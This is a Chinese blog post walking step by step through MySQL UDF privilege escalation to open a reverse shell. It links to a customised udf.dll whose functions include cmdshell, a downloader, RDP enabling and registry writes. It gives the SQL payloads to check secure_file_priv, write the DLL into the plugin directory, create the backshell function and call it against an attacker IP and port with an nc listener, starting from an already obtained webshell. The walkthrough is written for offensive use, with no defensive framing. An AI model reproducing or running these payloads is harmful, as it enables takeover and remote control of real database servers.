mysql udf反弹端口提权

mysql udf反弹端口提权

  • 本篇文章只是记录一下 udf.dll提权的另一种方法,不涉及udf.dll提权原理的详细讲解。
  • 详细的原理讲解请移步博主的这篇文章:https://www.cnblogs.com/02SWD/p/15858250.html
  • 本篇文章所使用的 udf.dll(该udf.dll只适用于32位的mysql数据库):
    链接:https://pan.baidu.com/s/1N9eHd1uiXWox22etDNTmlg 
    提取码:z5jc 
    

1. 复现

  • 我们所使用的这个udf.dll是被定制过的,其中定义了以下函数。如下图:

  • 部分函数说明:

    1. cmdshell:执行cmd
    2. downloader:下载者,到网上下载指定文件并保存到指定目录
    3. open3389:通用开3389终端服务,可指定端口(不改端口无需重启)
    4. backshell:反弹shell(本次文章主角)
    5. ProcessView:枚举系统进程
    6. KillProcess:终止指定进程
    7. regread:读注册表
    8. regwrite:写注册表
    9. shut:关机、注销、重启
    10. about:说明与帮助函数
      mysql udf反弹端口提权
  • 1. 假设我们已经拿到了webshell,界面如下:
    mysql udf反弹端口提权

  • 2. 接下来我们上传一下定制的udf.dll
    mysql udf反弹端口提权

  • 3. 查看当前数据库的secure_file_priv参数

    • payload
    show variables like "secure_file_priv"
    
    • 可以看到,该数据库的secure_file_priv参数没有设置任何值,说明可以导出
      mysql udf反弹端口提权
  • 4. 我们将定制的udf.dll文件导出

    • 看一下数据库的版本,查询一下导出的目录

      • payload
      select version()
      show variables like "%plugin%"
      
      • 可以看到我们应该将 udf.dll 导出到 C:\phpStudy\MySQL\lib\plugin\ 目录下
        mysql udf反弹端口提权
        mysql udf反弹端口提权
    • 导出udf.dll

      select load_file('C:/phpStudy/WWW/udf.dll') into dumpfile 'C:/phpStudy/MySQL/lib/plugin/udf.dll'
      
      • 可以看到已经导出成功了
        mysql udf反弹端口提权
        mysql udf反弹端口提权
  • 5. 创建函数

    • payload
    CREATE FUNCTION backshell RETURNS STRING SONAME 'udf.dll';
    select name from mysql.func -- 查看一下是否创建成功
    
    • 在这里我们创建的是 udf.dll 中的backshell函数
    • 可以看到 backshell 函数成功的被创建
      mysql udf反弹端口提权
      mysql udf反弹端口提权
  • 6. 调用函数,反弹shell

    • 先nc监听一下
      mysql udf反弹端口提权

    • 看一下攻击者的ip
      mysql udf反弹端口提权

    • 调用函数

    select backshell("192.168.1.103",50666);
    
    • 可以看到,反弹成功
      mysql udf反弹端口提权

参考文章:https://blog.csdn.net/qq_45290991/article/details/117536250

上一篇:【转】c# WebApi之解决跨域问题:Cors


下一篇:PySpark 如何实现 Pandas UDF(用户定义函数)?